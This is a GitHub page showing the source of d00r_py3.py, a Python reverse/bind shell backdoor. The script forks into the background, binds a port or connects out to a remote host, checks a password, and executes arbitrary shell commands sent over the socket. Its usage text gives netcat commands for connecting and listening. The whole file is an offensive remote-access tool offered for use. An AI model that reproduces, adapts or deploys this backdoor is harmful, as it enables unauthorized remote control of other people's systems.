FilesExpand file tree

 master

/

d00r_py3.py

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

executable file

·

135 lines (119 loc) · 3.21 KB

 master

/

d00r_py3.py

Copy path

Top

File metadata and controls

• Code
• Blame

executable file

·

135 lines (119 loc) · 3.21 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

#!/usr/bin/env python3

# # # # # # # # # # # # # # # # # # # # # # # # # # # # #

# d00r.py 0.3a (reverse|bind)-shell in python by fQ #

# #

# alpha #

# #

# Reviewed By:tennc #

# date:2014-03-12 #

# run with python3 #

# #

# usage: #

# % ./d00r_py3 -b password port #

# % ./d00r_py3 -r password port host #

# % nc host port #

# % nc -l -p port (please use netcat) #

# # # # # # # # # # # # # # # # # # # # # # # # # # # # #

import os, sys, socket, time

# =================== var =======

MAX_LEN=1024

SHELL="/bin/zsh -c"

TIME_OUT=300 #s

PW=""

PORT=""

HOST=""

# =================== funct =====

# shell - exec command, return stdout, stderr; improvable

def shell(cmd):

sh_out = os.popen(SHELL + " " + cmd).readlines()

nsh_out = ""

for i in range(len(sh_out)):

nsh_out += sh_out[i]

return nsh_out

# action?

def action(conn):

conn.send("\nPass?\n")

try:

pw_in = conn.recv(len(PW))

except:

print("timeout")

else:

if pw_in == PW:

conn.send("joo are on air!\n")

while True:

conn.send(">>> ")

try:

pcmd = conn.recv(MAX_LEN)

except:

print("timeout")

return True

else:

#print("pcmd:",pcmd)

cmd = "" #pcmd

for i in range(len(pcmd) - 1):

cmd += pcmd[i]

if cmd == ":dc":

return True

elif cmd == ":sd":

return False

else:

if len(cmd) > 0:

out = shell(cmd)

conn.send(out)

# =================== main ======

argv = sys.argv

if len(argv) < 4:

print("usage:")

print("% ./d00r_py3 -b password port")

print("% ./d00r_py3 -r password port host")

print("% nc host port")

print("% nc -l -p port (please use netcat)")

sys.exit(1)

elif argv[1] == "-b":

PW = argv[2]

PORT = argv[3]

elif argv[1] == "-r" and len(argv) > 4:

PW = argv[2]

PORT = argv[3]

HOST = argv[4]

else:

exit(1)

PORT = int(PORT)

print("PW:",PW,"PORT:",PORT,"HOST:",HOST)

#sys.argv[0] = "d00r_py3"

#exit ffather proc

if os.fork()!= 0:

sys.exit(0)

#associate the socket

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.settimeout(TIME_OUT)

if argv[1] == "-b":

sock.bind(("localhost",PORT))

sock.listen(0)

run = True

while run:

if argv[1] == "-r":

try:

sock.connect((HOST,PORT))

except:

print("host unreachable")

time.sleep(5)

else:

run = action(sock)

else:

try:

(conn,addr) = sock.accept()

except:

print("timeout")

time.sleep(1)

else:

run = action(conn)

if argv[1] == "-b" :

conn.shutdown(2)

else:

try:

sock.send("")

except:

time.sleep(1)

else:

sock.shutdown(2)